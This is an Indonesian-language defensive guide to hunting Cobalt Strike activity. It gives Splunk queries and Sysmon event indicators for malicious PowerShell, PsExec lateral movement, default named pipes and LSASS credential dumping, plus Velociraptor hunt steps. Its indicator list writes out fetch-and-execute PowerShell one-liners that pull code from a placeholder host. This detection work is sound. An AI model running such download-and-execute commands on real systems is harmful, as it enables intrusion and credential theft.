Threat Hunting Cobalt Strike
Serangan siber yang menargetkan Indonesia setiap tahun selalu meningkat banyak insiden seperti serangan ransomware yang dilakukan oleh DarkSide, Avaddon, REvil, Lockbit, dll dan aktivitas spionase yang dilakukan oleh state-sponsored group mengancam Indonesia. BSSN merilis laporan tahunan monitoring keamanan siber tahun 2020 sebanyak 3 juta lebih traffic cobalt strike terdeteksi menjadikan cobalt strike sebagai 10 ancaman malware teratas di Indonesia.
Kemudian melihat dari banyaknya laporan threat intelligence yang beredar saat ini banyak sekali threat actor group yang menyalahgunakan penggunaan cobalt strike. Berikut ini daftar threat actor group yang menggunakan Cobalt Strike :
Pengenalan Cobalt Strike
Cobalt Strike adalah alat command and control (C2) komersial yang digunakan untuk melakukan kegiatan pengujian keamanan red team assessment dirancang untuk mengeksekusi serangan yang ditargetkan dan meniru tindakan post-exploitation dari aktor ancaman tingkat lanjut.
Setiap red team tools memiliki ciri khas tersendiri yang bisa dijadikan indiktor untuk hunting, untuk mendeteksi aktivitas cobalt strike sebelumnya perlu mengetahui cara kerja dan kemampuan dari tools tersebut. Kecangihan dan fleksibilitas pada cobalt strike menjadikan pilihan alat C2 terbaik saat ini, threat actor dapat dengan mudah untuk mengubah perilaku atau blend-in seperti aktivitas normal yang tidak dapat ditemukan pada alat C2 lainnya.
Berikut ini fitur pada cobalt strike :
- Malleable C2 dapat mengantikan indikator pada memori dan jaringan yang seolah-olah normal traffic untuk melewati deteksi IDS/IPS.
- Mendukung protocol HTTP, HTTPS, DNS dan SMB.
- SMB peer to peer dapat mengakses target atau komputer yang tidak bisa dijangkau oleh internet.
- Menjalankan keylogger dan mengaktifkan vnc.
- Upload dan download file.
- Menjalankan perintah cmd dan powershell.
- Melakukan privilege escalation dengan local exploit atau bypass UAC.
- Melakukan credential dumping dengan mimikatz, port scanning dan process injection.
- Melakukan lateral movement dengan psexec, wmi dan winrm.
Threat Hunting
Sebagai defender tentunya memiliki tantangan tersendiri harus mampu mendeteksi adanya aktivitas cobalt strike didalam jaringan maupun di endpoint. Sebelum melakukan aktivitas threat hunting perlu mempersiapkan environment dengan visibility yang baik dengan bantuan System Monitoring (Sysmon) dan tambahan konfigurasi PowerShell Logging (Module, Script Block, Transcript).
Sysmon merupakan event log yang dapat memantau dan mencatat aktivitas sistem secara mendalam memberikan informasi terperinci seperti pembuatan proses, koneksi jaringan, dan perubahan waktu pembuatan file, dll.
- Download Sysmon : https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
- Sysmon Configuration : https://github.com/SwiftOnSecurity/sysmon-config
Hunting Malicious PowerShell
Banyak threat actor saat ini menggunakan powershell untuk menjalankan malware dan melakukan post-exploitation seperti PowerView dan BloodHound. Beberapa cara untuk hunting malicious powershell dengan indikator :
- Powershell.exe –nop –exec bypass –EncodedCommand
- Powershell.exe -nop -w hidden -c IEX
- IEX (New-Object Net.WebClient).DownloadString(‘http://abc.com/XXX’)
- IEX (New-Object Net.WebClient).DownloadString(‘http://127.0.0.1:7592’); Invoke-XXXX ← indikator cobalt strike powershell-import script
(index="winevents" (" -w hidden " OR " -window hidden " OR " -windowstyle hidden "))
Hunting Lateral Movement
Lateral Movement merupakan teknik penyerang berpindah dari satu sistem ke sistem lain yang bernilai tinggi.
Untuk melakukan lateral movement pada cobalt strike menggunakan perintah beacon jump psexe64/psexec_psh ini akan membuat service baru pada komputer target yang bisa dideteksi dengan Event ID 7045 (A service was installed in the system). Payload yang dijadikan c2 callback disimpan sementara pada ADMIN$ share dan jika menggunakan payload powershell bisa dideteksi melalui nama service file diawali dengan %COMSPEC%.
(index="winevents" source="WinEventLog:System" source="WinEventLog:*" EventCode="7045" (Service_File_Name="%COMSPEC%*" OR Service_File_Name="*ADMIN$\*.exe"))
Hunting Malicious Named Pipes
Named pipe pada windows digunakan untuk melakukan komunikasi antara proses yang berbeda. Sysmon Event ID 17 dan 18 dapat mencatat named pipe. Berikut ini default Cobalt Strike pipe yang digunakan :
- \postex_*
- \postex_ssh_*
- \status_*
- \msagent_*
- \MSSE-*
- \*-server
(index="winevents" source="WinEventLog:*" ((PipeName="*\\MSSE-*" PipeName="*-server*") OR PipeName="\\postex_*" OR PipeName="\\postex_ssh_*" OR PipeName="\\status_*" OR PipeName="\\msagent_*"))
Hunting Credential Dumping
Credential Dumping merupakan teknik untuk mendapatkan login akun dan kredensial biasanya dalam bentuk hash atau kata sandi teks. Untuk melakukan credential dumping pada cobalt strike menggunakan perintah beacon logonpasswords.
Sysmon dapat mendeteksi teknik ini melalui Event ID 10 dengan indikator proses akses yang menargetkan lsass.exe dengan kode GrantedAccess 0x1010 atau 0x1410.
(index="winevents" source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=10 TargetImage=*lsass.exe (GrantedAccess=0x1010 OR GrantedAccess=0x1410))
Velociraptor
Velociraptor merupakan alat endpoint monitoring yang dapat meningkatkan visibilitas dari sisi endpoint dan membantu untuk melakukan investigasi seperti digital forensic, threat hunting dan incident response.
Untuk melakukan hunting pada Velociraptor, masuk ke menu Hunt Manager kemudian buat hunt baru.
Masukan deskripsi sebagai contoh Hunting Cobalt Strike, pada threat hunting cobalt strike ini hanya memfokuskan pada sistem operasi windows jadi perlu disesuaikan pada Include Condition pilih Operating System dan pada Operating System Included pilih Windows.
Selanjutnya masuk ke bagian Select Artifacts dan cari cobaltstrike lalu pilih artifact Windows.Carving.CobaltStrike. Windows.Carving.CobaltStrike akan melakukan yara scanning pada setiap proses yang berjalan dan mengekstrak konfigurasi cobalt strike dari memory.
Masuk ke bagian Specify Resources untuk mencegah terjadinya timeout akibat banyak proses yang di scan perlu menambahkan waktu timeout menjadi 7200 detik / 2 jam, klik launch untuk simpan hunting yang baru dibuat.
Untuk menjalankan hunting klik icon play dan klik Run It!
Tunggu hingga proses hunting selesai jika berhasil mengekstrak konfigurasi TotalRows akan bertambah menjadi 1 atau lebih, untuk melihat hasilnya pilih FlowId.
Pilih Results terdapat informasi seperti rule, pid, processname, commandline, offset, xor, decodedconfig.
Dari hasil DecodedConfig blue team dapat mengetahui informasi detail mengenai konfigurasi cobalt strike yang digunakan oleh penyerang.